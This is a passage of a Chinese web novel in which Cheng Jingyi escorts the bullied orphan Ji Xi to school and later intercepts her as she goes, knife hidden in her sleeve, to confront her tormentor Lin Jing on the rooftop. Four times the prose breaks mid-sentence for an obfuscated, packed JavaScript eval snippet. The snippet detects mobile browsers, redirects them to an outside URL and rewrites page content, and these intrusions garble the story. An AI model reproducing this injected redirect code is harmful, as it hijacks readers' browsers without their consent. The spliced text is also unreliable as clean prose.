夜深人静的市区，正是人们睡得最香的时刻，程景逸不好大声呼喊，只得朝着季希刚刚离开的方向跑去。 程景逸人高腿长，很快便追到季希。 他直接拦在季希面前：“季希，等一等，我有话想和你说。” 季希抬头。 少年跑过来时似乎有些着急。 他的呼吸间稍微带着点喘气。 拦住她的手横在面前，季希的鼻尖隐约闻到丝丝缕缕的淡淡清香。 季希的目光有一瞬间慌乱，但很快被她掩饰过去，她不动声色地后退一步：“程景逸，你想说什么？” 一阵冷风吹过，季希瑟缩一下。 程景逸把外套递给季希：“天冷，你不是说这个暖和吗？你先穿上吧，别着凉了。” 季希低头，想起自己心里隐秘的别扭，有些不太想穿。 但是这一回程景逸很坚持，似乎一定要让她接过去然后自己穿上。 僵持几秒，季希在程景逸的目光中败下阵来，认命地接过大衣穿上。 真的很暖和。 程景逸认真道：“季希，刚刚对不起。我不知道你住在这里，所以才会在车上当着保镖的面问你的住址。” “我只是想护送你安全到家，如果让你感到了不舒服，或者伤了你的心，我向你道歉。” “很抱歉不小心触碰到了你的隐私。” 季希仰起脸，望向少年的脸庞。 程景逸：“其实，我不是一个怯懦的人，可是刚刚这一路我都不敢和你说话。” “因为，我似乎冒犯到了你。” “我看着你下车离开，看着你孤单瘦弱的背影，我很担心就这样失去你这个朋友。” “所以我追过来，希望能和你好好聊一聊。” 季希没想到会听到这样一番话。 在少年真挚热忱的目光中，季希可以清晰地看见自己的倒影。 在这样一连串剖白话语的冲击下，季希的心里升腾起一股奇异的感觉。 原来程景逸是这样真实的一个人。 他可以如此真诚地和人相交，似乎他的一颗赤子之心，光明正大，无可不能对人言。 他也真正如他所言，践行着他行侠仗义、扶助弱小的人生信条。 他对自己这样并无所长、一无所有的人也可以平等相待，并且屡屡拔刀相助，不求回报。 季希注意到程景逸的怀面前和肩上都沾有泥渍和灰尘，和他整个光风霁月的形象十分不符。 她的书包今天不知道被人乱扔了多少次，上面沾满了灰尘泥土，可是程景逸并没有嫌弃，甚至帮她拿了一路。 季希在这一瞬间想了很多，最后千言万语，就汇成一句话：“程景逸，你今天为什么会来找我，你怎么知道我被绑架了？” 程景逸：“我傍晚的时候到学校找过你，恰好发现你被人掳走，我根据车牌号一路查过来，耽误了不少时间。我很担心你，好在你自己聪慧且勇敢，逃了出来。” 季希想着两辆越野车的架势，以及保镖的训练有素。 又思及林晶那般眼高于顶的人竟然对程景逸这般在意和具有占有欲，她大概能明白今天程景逸为什么能找到她了。 季希在心里微微叹了口气，她认真道：“关于我住在福利院，这是事实，你没有什么好抱歉的。既然我们是朋友，这当然不属于冒犯。你不用这么紧张。” 程景逸舒了一口气：“那就好。” 季希：“程景逸，谢谢你。” 谢谢你这样尊重我。 无论是那些仗势欺人、横行霸道的欺凌者。 还是那些作壁上观、漠然置之的旁观者。 亦或是那些幸灾乐祸、落井下石的鹰犬爪牙。 这些人对她只有轻蔑、无视与踩踏。 没有人给予她这样的尊重与在乎。 所有人都有更在乎的人和事情。 所有人都安然待在自己的位置上，高高在上，说几句无关痛痒、糊弄场面的话。 没有人觉得她值得正视与尊重。 没有人愿意走出自己的站位，来捞一把在路边垂死挣扎的她。 可程景逸不同。 他和所有人都不一样。 他似乎本也应该和她，毫无关联。 但当他的目光看见了她，他没有无视，没有漠视，没有若无其事地转头离开。 他直直地向她走来，毫不犹豫地向她这个只有几面之缘的陌生友人伸出援手，急人之困，雪中送炭。 季希的鼻子有些发酸，但这一回，她没有低下头。 她直视着程景逸的眼睛，问道：“你傍晚找我有什么事？” 虽然不知道自己可以为程景逸做些什么，但只要他说，她就会尽力为他完成。 程景逸向来是口若悬河、能说会道的，这时他的词汇却变得那样匮乏，以至于他竟不知道应该如何遣词造句。 末了，他只得放弃那些华丽而空泛的浮文巧语，用最简单无修饰的话语说出他最真实的想法：“我……打听到了你遭遇的事情实在是因我而起。” “我来找你，一是道歉，二是要负责。” “你放心，从今天起，你的事就是我的事，我会保护你，并且帮你摆脱目前的困境。” “你一定能走得很远的。” 季希：“所以今天……不管我自己有没有本事从仓库逃走，你都会来救我？” 程景逸点头：“是。我在知道你被绑架之后，心里只有一个想法，就是要在最短的时间里，把你完好无缺地带回来。” “所以无论你在哪里，无论是被困在仓库束手无策，还是在公路上逃亡狼狈不堪，我都会找到你，然后送你回家。” 程景逸不知道季希为什么在听了他的话后突然开始落泪。 少女的心思他真的不太明白。 难道他说的话又惹到季希了？ 不过季希最近几个月过得确实都很不好，因为他而受了这么多无妄之灾。 程景逸猜想，眼泪也是一种宣泄方式吧。 季希的哭泣十分克制。 她的眼里藏着某种释然，也蕴着某种生机。 寂静的夜里，泪水似断了线的珍珠，无声地从季希盈盈的眼眶中不断跌落。 滴答滴答，滴滴答答，好像砸进了程景逸的心里。 让程景逸很想为季希做些什么。 程景逸没带纸，又不好直接上手，只能捏着衣袖为季希笨拙地擦泪。 没想到眼泪却越擦越多，少年一时手忙脚乱。 程景逸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577969|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袖软软的，擦在季希的脸上。 这一刻，季希感受到了久违的人间温暖。 昨天发生了很多事，但季希其实一直没有哭。 白天在学校的湖边被推进水里时，她没有哭。 那时她只是对世界和人性失望，她已经被打击地完全压抑情绪，已经不会哭泣。 晚上被人绑在孤立无援的仓库时，她没有哭。 那时她知道天助自救者，她必须依靠自己逃出生天，所以她顾不上哭泣。 但是现在，她真得很想哭。 她无法不哭泣。 季希拉住程景逸的衣袖，让他停止擦拭泪水的动作。 迎着程景逸疑惑的目光，季希问出了心中的疑问：“你觉得，路边的小草生来是被践踏的吗？” 程景逸细细思考片刻，答道：“这个世上没有任何生命生来是被践踏的。” “小草生长在路边，不论是物种，还是环境，这些对小草而言都是无法选择的。” “随意踩踏小草的人没有素质，这不是证明小草本身命贱的理由。” 季希的目光轻闪：“可是小草与那些名花雅木相比，确实没有什么过人之处，甚至没有什么价值可言。” 程景逸并不认同这一点，他认真道：“生命的存在本身，就具有十分重大的意义。” 见季希似乎有些不明白，程景逸进一步解释道：“或者这句话也可以这样描述——生命最重要的意义，就是存在。” 刺骨的寒风刮过，程景逸把季希额间散乱的碎发别到少女的耳后：“小草的存在本身，就是它的价值所在。” “一株小草，无论其环境是贫瘠还是繁盛，它生来就是感受这世间的阳光雨露和风霜雨雪的。” “翠绿的小草只需要沐浴在阳光之下，季希你说，这样美好的存在，难道不就是生命最本真的意义吗？” 季希恍若醍醐灌顶。 世上的人都是看价值论付出，你有利用价值，便高看你一眼，你没有利用价值，就活该被践踏。 可是她终于知道，也有人不是这样的。 在程景逸看来，一个人最本真的价值，就是这个人的存在。 生命的价值不在于这个人能为他人带来多少利益，不在于这个人有多大的能力、财富、地位、名望。 生命的存在本身就是价值。 所以，即便她毫无利用价值，即便她是个废物，即便她今天无能到只能在仓库任人宰割、哭到天明，程景逸也会来救她。 只是因为程景逸珍视每一个生命，尊重每个生命在世间的存在。 这个少年可以仅仅因为路见不平，就会毅然决然地拔刀相助。 他不会将人放在秤杆上称了又称，不会考虑这个人的利用价值是否值得他付出那么多。 他不考虑回报。 他只是纯粹地因为看见了不平事，所以要行侠仗义、扶助弱小。 他也仅仅是一个热忱的中二少年呀。 在她人生举步维艰的至暗时刻，这个少年恍若寒夜里的孤灯，不离不弃。 更像黎明东升的旭日，熠熠夺目。 这样的少年，在这样污浊的俗世中，当得起这人间第一流的称赞。 君本少年游侠客，熠熠红尘第一流。 19. 愿卿磊磊沧浪行 程景逸将季希送回福利院的时候，已经将近凌晨四点钟。 之后等他回到程家，只浅浅睡了一个多小时。 心里挂念着季希，他实在是无法安枕，六点的时候，便起床洗漱。 程景逸下楼时，餐厅里已摆好早饭，主位上坐着程东启。 程景逸喊了一声“爸”，便坐下吃饭。 饭桌上安静异常，两人却都并无任何不适，各吃各的，自得其乐。 程东启瞧见程景逸眼下的青黑与满脸的疲惫。 想起早上管家告诉他“二公子凌晨四点多才到家”，程东启一阵心疼，开口却仍是四平八稳，极具威严：“景逸，昨天还顺利吗？你同学情况怎么样？有需要我帮助的地方吗？” 程景逸很有规矩，虽然和父亲之间一直有些隔阂，但是这毕竟是他父亲，血浓于水。 他放下碗筷，回道：“爸，谢谢你昨天借我车和人，我同学已经平安无事的回家了，后续事情向叔叔在处理。” “嗯。”程东启本来准备再叮嘱儿子几句，见小女儿程景心这时也下楼来吃饭，便将这个话题打住。 程景心还在读小学五年级，穿着校服青春洋溢、甜美可爱。 她一坐下吃饭，叽叽喳喳地与爸爸和哥哥说话，餐厅里的氛围都变得轻松欢快起来。 程东启很快吃好饭，集团事多，他起身准备离开。 经过儿子身畔时，程东启脚步一顿。 沉吟一番后，程东启在儿子身后轻拍他的肩膀：“景逸，有什么难处，直接给我打电话，我始终站在你这一边。” 程景逸点头：“谢谢爸。” 程东启叹气，很快走出餐厅。 程景心疑惑：“哥，你和爸在说什么呢？” 程景逸摇头笑笑：“没什么，你好好吃饭。” “哦，”程景心放下筷子，“我已经吃好啦，哥，我们收拾一下也去上学吧。” 程景逸：“景心，今天你自己去学校吧。” 程景心不解：“为什么？哥哥你不去上学吗？” 程景逸：“哥哥今天想骑自行车。” “我也想骑，”程景心苦恼道，“可是我都还不会骑车呢。” 程景逸笑：“以前说要教你，你不是不肯学吗？” 程景心强调：“我现在想学了。” 程景逸揉揉妹妹的脑袋：“没事儿，马上就到寒假了，到时候哥哥教你。” 司机开着车停在门口，程景逸目送程景心上车。 一旁的管家程安疑惑：“二公子怎么不上车？” “司机今天只送景心就可以。我骑自行车上学。”程景逸说着，便往车库的方向走。 程安怕程景逸一时找不到车耽误了早课时间，便跟着一道去找车。 程景逸顺利找到自己那辆山地自行车，骑上去时眉头一皱，又将车停好，问道：“安叔，我以前那辆带后座的自行车呢？” 程安回忆一番：“被收进仓库了，二公子要用吗，我现在就叫人去取出来。” 程景逸点头：“今早着急用，劳烦您催一下。” 程安很快带着人把那辆自行车找出，推到程景逸面前。 程景逸看着表，已经六点五十，他向几人道谢后，飞快地骑车驶出家门。 程景逸到达福利院门口的时候，远远地恰好看见季希下楼。 他等在福利院的围栏旁，看着季希在朝阳下走过庭院。 少女的脸上一派正常，丝毫看不出她昨天经历了什么。 少女似乎在想事情。 她换了个新书包，干干净净，她像是怕书包被人抢走一样，紧紧抱着怀里的书包，走出大门时甚至没有注意到他。 程景逸骑车追上她：“季希。” 季希着实没想到这么快就又见到程景逸，她有些惊喜，有些不好意思，同时也有几分慌乱。 她迅速将书包背在身后，仰起脸和程景逸打招呼：“这么早，你怎么在这里？” 程景逸拍拍后座，笑道：“我来接你上学。从今天起，我会护送你上下学。昨天那种事，不会再发生了。” 这样的好意对季希而言，就如同天上掉的馅饼，太过美味，她不敢接。 而且她还有事情要做，她不想连累程景逸。 所以季希婉拒道：“不用了，谢谢你，我可以自己去学校。” 说完便转身朝公交车站走去。 程景逸连忙骑车拦在少女面前，笑道：“季希，我都专门骑车过来接你了，你即便再不愿意，也赏脸坐一回呗。” 程景逸语气就像在撒娇，面对这样的少年，季希确实没有办法继续说出拒绝的话语。 季希木讷着脸小心翼翼地坐上程景逸的后座。 程景逸说了一句：“坐稳了。”然后便开始蹬着踏板，将季希载往学校。 但是很显然，程景逸是第一次载人，整个过程很不顺利。 当季希两手轻轻抓着程景逸的衣角，感受着冷风刮过脸颊的时候，冻得瑟瑟发抖的她，一时间不知道究竟应该怀疑她和程景逸两人中谁的智商。 季希不禁小声吐槽道：“其实还不如坐公交呢，起码不用吹冷风……” “可以，下次陪你坐公交。”程景逸好脾气道。 季希：“没想到你听力这么好。” 程景逸眉眼含笑：“是呀，所以有什么话可以不用悄悄说，你可以大声对我说出你的不满。” 季希看着路边的街景一点点倒退，没有接话。 应该已经没有下次了。 程景逸，虽然我们认识的时间很短暂，但是谢谢你愿意陪我走过这一程又一程。 接下来的路就让我自己走吧。 在快到学校时，季希轻声道：“程景逸，你就在这里把我放下来吧。” 程景逸很明显顿了一下，但他却没有将自行车停下来。 季希很确信程景逸听到了她的话。 她再次提高说话的音量：“程景逸，你先把我放下吧。” 但是程景逸依然没有停车。 季希着急地拍着程景逸的背：“程景逸，你怎么了？快停下来。再不停下来我跳车了。” 她已经看见一些穿着一中校服的学生的身影。 眼看着自行车拐过这个街角就要驶入文宫街，穿过一个红绿灯就要到达一中门口，季希的心紧张起来。 程景逸的自行车很高，他骑得又快，季希担心摔跤，所以刚刚没有跳车。 可是脑海里闪过林晶那些人目中无人的脸庞，季希咬咬牙，准备跳车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577970|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她刚松开一只拽着程景逸衣摆的手，便听见少年凉凉的声音被风裹挟而来：“季希，你今天要是敢跳车，我就告诉所有人，你是我女朋友。” 季希觉得自己的耳朵好像出了问题，开口都有些结巴：“你……你刚说什么？” 程景逸：“我说，我程景逸交朋友不需要看任何人脸色。” “季希，你也一样。” “如果你认我这个朋友，就不要因为顾忌任何人的脸色而避开我。” “我希望你可以光明正大地和我一起走进校园。” 季希的声音闷闷的：“你这是为难我。” 程景逸：“季希，经过昨天的事情，你还觉得你能通过躲避来渡过这场困境吗？” “你明明知道，躲避是没用的。” “既然没用，你就勇敢地站在我身边，我会光明正大地保护你。” “如果所有人都知道你在我的羽翼下，没有人会再敢欺负你。” “我没打算躲避。”季希皱眉，“并且我不是你的附庸。” “我刚刚有些着急，话说得不好。”程景逸，“现在我重新说，如果所有人都知道你是我的朋友，她们在动你的时候都会多考虑几分我的反应，这对现在的你来说是一种保护。” 季希思考着程景逸的话。 程景逸：“季希，你既然不说话，我就当你默认了我的这个方案。” “所以从今天起，我会光明正大地接送你上下学，你一定要等我。” “不然我就告诉别人，你是我女朋友。” 季希的脸憋得通红：“程景逸，枉我以前还觉得你是个好人，没想到你这么无赖。” “而且男女朋友的话是可以随便说的吗？”季希低下头小声嘟囔，眼里是她自己都没察觉到的失落。 程景逸一个刹车，自行车停在路边。 季希没料到程景逸会突然停车，因着惯性的缘故就这样撞在程景逸的背上。 程景逸一脚踩在地上，一脚踩在踏板上，并未下车。 他只是扭回头看着身后的季希，说道：“这只是一种让你答应的方法，你别太在意啦。” “而且季希，你在校园里避我如洪水猛兽，又怎知我的心情。” 季希辩解道：“我没有……” “季希，你听我说完。“程景逸正色道，“你遭遇的这些事情终究还是因我而起，我说了，我要对这件事情负责。” “可我瞧着你总想把我的帮助往外推，似乎如果我不主动找你的话，你就永远不会主动来找我寻求帮助。” “你很坚强，也很勇敢，这是好事。” “但是也请给我一个弥补的机会。” “季希，如果你拿我当朋友，就不要拒绝我的好意，否则我会一直愧疚下去。” “噗嗤……”季希忍不住笑出声来。 程景逸：“我的话很好笑吗？” 季希摇头：“倒也没有。” 她只是觉得世事难料。 以前她想向他人寻求帮助的时候，没有人搭理她。 如今她终于有勇气独自面对困境，竟然有人上赶着帮忙。 程景逸在季希的脑袋上轻轻一敲，然后便转回身，继续骑车：“你好好想想我的话吧。” 20. 愿卿磊磊沧浪行 季希就这样捂着脑袋坐在程景逸的后座上进了一中大门。 程景逸刚把车停进停车棚，季希跳下后座就要往高一教学楼狂奔，仿佛只要她跑得够快，就不会被其他人看见。 程景逸一把拽住季希的书包：“等等。” 季希被迫停下，转身对着程景逸怒目而视：“注意形象，你放开。” 程景逸从书包里翻出一本书塞进季希的怀里：“你的东西，别忘了。” 季希低头一看，是自己的英语单词书，她诧异问道：“这是我的，怎么会在你这里？” 程景逸好笑道：“如果不是这本书，我也不会发现你被绑架。” 一边说着，程景逸已经把车停好。 季希闻言，用手细细地摩挲书的封皮，说道：“那这本书可以算是我的幸运之书了。” 程景逸笑着逗季希：“嗯，可以拿回去好好供着，每天三拜，必保佑你学业进步，英语满分。” 季希抿唇嗔怪地看了程景逸一眼。 程景逸轻笑一声。 他很自然地往教学楼的方向走去，走了几步，却发现季希没有跟上来。 程景逸回过头，望向还停留在原地的少女，挑眉道：“怎么，校门都已经进了，该看见的人都已经看见了，现在分开走，不觉得太刻意了些，也太晚了些？” 闻言，季希连忙跟上程景逸的步伐。 她解释道：“不是，我刚刚只是突然觉得很奇妙。” “也许人和人之间的相处是有浓度的区别的。” 程景逸很感兴趣：“这话还挺有意思，不过你为什么会有这样的感想呢？” 季希侧头望向身边比她高出许多的清俊少年，说道：“程景逸，其实严格来说，我们总共也不过只见过六七面。” “但是今早和你聊天，相处起来却好像是已经认识了许久的老朋友，所以我才心生感慨。” “这算不算是古人所说的倾盖如故？” 程景逸：“当然算。” 季希：“你说，如果不同人之间的氛围浓度是不一样的，那我们之间的氛围浓度会不会比较高呢？” “毕竟，每次遇见都很不寻常，碰到了很多惊险的事情。” “这个说法倒是挺新鲜，”程景逸表示赞同，“不过我觉得很有道理。” “是吧，我也这样觉得。”季希点头。 两人一起走进教学楼的楼梯间，季希发现程景逸的目光总是时不时地落在她身上，她低头审视自己的穿着打扮，是很正常的校服。 季希停住，直截了当地问程景逸：“你在看什么？” 程景逸也站住，他探究地看着面前的少女：“季希，你是不是有什么事情瞒着我？” 这么敏锐吗？ 季希的手无意识地拨动着英语单词书的书页，她茫然无辜道：“什么事情，我怎么不知道？” 程景逸：“总感觉，今天的你和之前的你很不一样。” 季希眼神微闪：“哪里不一样？” “说不上来，就是你刚刚难得的坦率和主动，让我产生一种这是最后一面的错觉。”程景逸皱眉道，“季希，你如果有事情，一定要告诉我，我可以和你一起解决的。” “多个人就多一分力量，不是吗？” 可是有些事情，多一个人，就多一分危险。 而她，不想让程景逸身处危险之地。 一点点也不想。 所以季希只是温柔笑道：“程景逸，你想多啦，快上自习了，你快回教室吧。” 于是二人在三楼分开，季希走进十五班教室，而程景逸则继续上到五楼，走进一班的教室。 季希默默走到窗边自己的座位，从书桌里翻出之前包书皮剩下的纸，小心翼翼地为这本书仔细包上书皮。 这是她的幸运书，她将视若珍宝。 然后季希拉开书包拉链，瞧见里面被刀鞘裹着的水果刀。 季希面不改色地从书包里拿出作业和文具，非常自然地把拉链拉上，将书包放回座椅上，然后开始背语文老师布置的古诗词。 教室里，大家都在早读，无人瞧见她低头时眼里一闪而过的寒意。 今天周三，上午第四节课是体育课。 季希还记得，在学期初的时候，九月末的一个周三，那天她在操场被球砸到，是程景逸把她送进了医务室。 明明她是被砸到的人，可程景逸却比她更紧张，生怕把她砸出问题。 那是她第一次和程景逸说话，两人明确有了交集。 也就是这样，埋下了祸根。 既然程景逸在周三上午的第四节课是体育课，和程景逸同班的林晶必定也一样。 那么，在学期末这个周三的体育课上，就让一切都结束吧。 第二节课下课后是大课间，同学们一般都需要到操场做课间操。 但是季希曾经听于棠说过，林晶从来不去做课间操，她这个时候一般都会在教室。 所以当第二节课下课铃响起，同学们都下楼去操场做课间操的时候，季希装作急着上厕所的样子，捂着肚子朝卫生间走去。 待整个教学楼的大队人马都已经下楼、广播体操的音乐从操场远远传来的时候，季希从卫生间里走出，悄悄上到了五层。 她没有直接去一班，而是站在走廊对面，隔着天井看向一班的教室。 窗明几净的教室内，有老师站在讲台上不知道在干什么。 林晶似乎在帮老师忙。 季希默默等待。 过了一会儿，那老师从教室走出，林晶回到座位上。 此时高一（一）班的教室里，除了林晶，再无他人。 于是，季希沿着走廊一路走进一班教室，来到林晶的桌前。 林晶正专心做题，突然有人在她桌上轻敲三下，她心生不悦，皱着眉抬起头。 “季希？”认出眼前是何人，林晶放下笔，上下打量面前这个她向来瞧不上眼的人，冷笑道，“你的运气倒是好，总是能一次次逃脱。胆子也挺大，遭那么多罪，还敢来找我。” 林晶好整以暇地靠在椅背上：“说吧，你来找我，有什么事情？” 还未等季希说话，林晶又道：“如果你是仗着有程景逸护着你，就来我面前耀武扬威的话，那我可要提前警告你，即便是程景逸，也未必能时时刻刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577971|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地护在你身边。” “我奉劝你，不要惹恼我。否则，你承受不住我的雷霆之怒。” 林晶撂下几句狠话后，季希等了几秒，确定林晶没有什么要补充的，才开口：“林大小姐，你说完了吗？如果说完了，我就要说话了。” “我今天来找你，不为别的，只是想告诉你一些有关程景逸的事情。程景逸在你眼里如珠似玉，可我却看不上眼。” “既然你这么喜欢他，你一定会对他亲口说过的一些过往很感兴趣。” 林晶皱眉：“你为什么要告诉我这些？” 季希耸耸肩：“林大小姐这么聪明，看不出来吗？” “我是想与你求和。” “我告诉你别人都不知道的有关程景逸的过往，交换条件就是你放过我，不要再继续针对我，我们从此井水不犯河水，如何？” 林晶眯着眼睛审视季希：“你知道程景逸昨晚做了什么吗？” “他为了你真是煞费苦心，甚至动用了程家的资源……算了，我和你说这些干什么。” “季希，我就问你，程景逸这么护着你，你不动心？” 季希握拳，竭力控制着自己的面部表情不出卖自己的内心，语气冷漠道：“我只想好好学习，考大学，为自己谋求一个安稳的未来，其他的事情都不在我的考虑范围之内。” 林晶满意道：“如果你不再靠近程景逸，我可以答应。” 广播体操的音乐已经停止，教学楼下传来学生们交谈的喧嚷声。 同学们做完课间操，陆续各自回班，准备上第三节课了。 季希道：“这会儿不方便说话，你既然答应了，咱们找个时间，我告诉你程景逸和我聊的一些过去，从此咱们两清，你别找我茬，我不碍你眼，如何？” 林晶：“一言为定。” 季希装模作样地想了想，问道：“你今天上午第四节课是什么课？” 林晶：“体育课。” 季希：“我也是体育课。既然这样，咱们第四节课在楼顶天台见，可以吗？” 林晶点头：“有何不可。” 季希：“那我走了，第四节课，天台见。” 林晶瞧着季希的背影，心中涌起一种无可言说的怪异感。 但是转念一想，她从未将季希真正看进眼里过，要不是因为程景逸，她根本不会注意到这样一个其貌不扬、毫无特点之人。 这种人能有什么威胁？ 看，现在季希不就主动来找她，乞求她的放过了吗？ 哼，希望季希能说到做到，以后都离程景逸远一些，不要再妄想靠近她的世界。 同学们陆续回班，林晶收回思绪，继续低下头做题。 季希下楼回班时恰好在四楼的楼梯口遇见了抱着厚厚一摞作业本的程景逸。 显然他刚从老师办公室回来。 程景逸笑着和她打了个招呼，季希则对着程景逸做了个鬼脸。 程景逸忍俊不禁：“你现在倒是不怕在校园里和我说话了。” 季希笑道：“怕你不高兴。” 说完她便往楼下跑去，也不管程景逸听了此话后愣住的表情。 21. 愿卿磊磊沧浪行 程景逸继续上楼，却越想越不对劲。 刚刚季希像是从楼上下来的。 季希去了五楼？ 她去五楼干什么？ 带着这个疑问，程景逸回到一班的教室。 走进教室，闻着教室里弥散的一股味道，程景逸皱起眉头，他拉住一个同学问道：“教室里是什么味道，之前怎么没有？” 那个男生吐槽道：“嗐，还不是老班看最近感冒的同学比较多，弄了点醋放在教室里煮，说是消毒。趁着我们都去做课间操了搞这么一出，真是……” 程景逸回想起刚刚擦肩而过时，季希快步走过带起的一阵风，那风中弥散的正是醋的味道，和他们教室里的味道简直如出一辙。 难道季希是来一班教室了？ 季希是来找他的吗？ 显然不是。 季希刚刚明明碰见了他，如果有话，刚刚就应该说。 程景逸把作业本发给同学，回到座位上时，还在琢磨季希的事情。 同桌见他盯着作业本皱眉，凑过来看：“景神，看你这个表情，还以为错了很多题呢，结果全对？你借我看看最后一道题……” 程景逸把作业本给同桌，然后问道：“你知道刚刚大课间咱们班有谁没去做操吗？” 同桌低着头看程景逸的解题思路，头都没抬一下，随口道：“这我哪知道，没太注意。不过一般来说林晶都是不去做操的。” 程景逸：“为什么？” 同桌耸耸肩：“不知道，她不想去吧，老班也由着她。” 季希竟然主动来他们班找林晶。 虽然昨天他已经嘱咐向叔叔要警告林家，但是谁知道林晶还会做什么出人意料的事情。 季希怎么会来找林晶呢？ 回忆起季希今天和往常不同的状态，他本来觉得，也许是因为季希经过昨天的生死难关，很多事情看开了。 现在想来，事实怕是并非如此。 季希肯定有事情瞒着他。 她究竟想要做什么？ *** 第四节，体育课。 高一教学楼，顶楼天台。 季希特地在对面高二教学楼的楼顶观察了一阵子。 见天台确确实实只有林晶一人等着，她才下楼，走进高一教学楼，一层一层上到顶楼。 擒贼擒王。 先诛首恶。 如今的她，能先让林晶这个首犯付出应有的代价，就很不错了。 校服宽大的衣袖内，冰凉的刀鞘紧贴着手臂。 寒风凛冽，季希却热得有些出汗。 顶楼无窗，颇为昏暗的空间里四处堆放着杂物。 季希走到通往天台的大门前，手搭在门把手上，深深吸气。 季希平复好心情，就在她即将拉开天台大门的霎那，有一只手出现，将门牢牢抵住。 身后人的气息将季希笼罩。 熟悉的清香，早上坐车时才闻到过。 季希不由得怔愣。 她回头。 已然适应此处昏暗光线的她，清晰瞧见少年沉怒的眼。 是……程景逸。 季希刚要说话，便被程景逸捂住嘴。 季希挣扎，被程景逸瞪了一眼，只得心虚地跟着。 程景逸强硬地将季希拉离顶楼。 *** 林晶原本站在天台边看着远方，隐约中听到楼梯处传来一些响动。 不确定是否是幻听，她将楼梯口处天台的大门推开，试探地喊道：“季希？” “季希，你来了吗？” 无人回应。 这扇门无法一直保持开着，林晶松手，门便自动合上。 “难道季希在耍我？”等了这么久，季希却没有按照约定好的来见她，林晶十分不满。 又等了大概十分钟，林晶才下楼回到教室。 *** 另一边，刚刚林晶开门呼喊的时候，程景逸其实才拉着季希往下走了一层楼。 两人正好处在拐角处，这是林晶的视线盲区。 季希本欲出声，但转念一想，她并不愿意把程景逸牵扯进来，是以便保持了沉默。 好在林晶只是试探，她并不确定有没有人，喊了两声没人回应，她便关上了天台的门。 此时，大多数班级都正在上课，楼梯间无人，但也不是说话的地方。 校园里偶有上体育课的同学在自由活动。 程景逸一路将季希带到人工湖边的假山旁。 这里四下无人。 在季希面前，程景逸一向是温和的，可此时他却面带薄怒。 面对神色冷凝的程景逸，季希心里莫名有些发怵。 她强作镇定道：“程景逸，你怎么了？你不是在上课吗，怎么突然拉我到这里，你找我有什么事吗？” “你心态倒是好。”程景逸上上下下地打量起季希。 直到季希因不自在而垂下眼皮，程景逸才问道：“你去顶楼做什么？” “不做什么，”季希转身避开程景逸的目光，盯着旁边光秃秃的假山道，“我就是心情不好，想站在高处看一看。” 瞧见季希低落的模样，程景逸面上的怒气一滞。 只是他语气虽有所缓和，问的问题却更加直接，不容季希继续顾左右而言他：“你去找林晶做什么？” 季希：“我为什么要找林晶，我躲她还来不及，何必上去送死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577972|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 程景逸：“你既然知道，为什么还要去招惹她，你想干什么？” 季希沉默片刻，见程景逸一定想要得出一个答案的样子，她扭回头，正视着程景逸的眼睛，认真道：“从来都不是，我想干什么。” “更没有人在乎，我不想干什么。” “是她们，一直揪着我不放。” “是她们，一步一步地把我拖入局中。” 程景逸敏锐地抓住季希眼中极快逝去的一抹疯狂之色。 “我在乎。”他抓住季希的双肩，望进季希的双眼，认真道，“季希，你是因我入局的。” “我说过，我会保护你。” “你有任何不想做的事情，都可以告诉我，我来……” 不想再听这些话，季希打断程景逸：“你刚怎么会在顶楼？” 程景逸：“我觉得你今天一直都有点不对劲，所以一直留意着。” “大课间的时候你是不是去了我们班教室？我猜你和林晶一定有什么约定。体育课时林晶哪儿都没去，却往楼上走，我觉得很奇怪，所以就在林晶进入天台后，在顶楼的杂物中间躲着，想着如果有意外发生的话，我就可以及时阻止。” “今天是林晶威胁你让你做什么吗？你别听她的……” 听到这番话，季希突然笑出来。 她摇摇头，低声叹道：“本来想给你留个好印象的……可现在，你让我怎么办呢？” 闻言，程景逸不解其意，十分困惑。 季希抿唇，犹豫之间狠下心做了决定。 她向前迈出一步，靠近程景逸，直视着他的眼睛道：“程景逸，你想错了。” 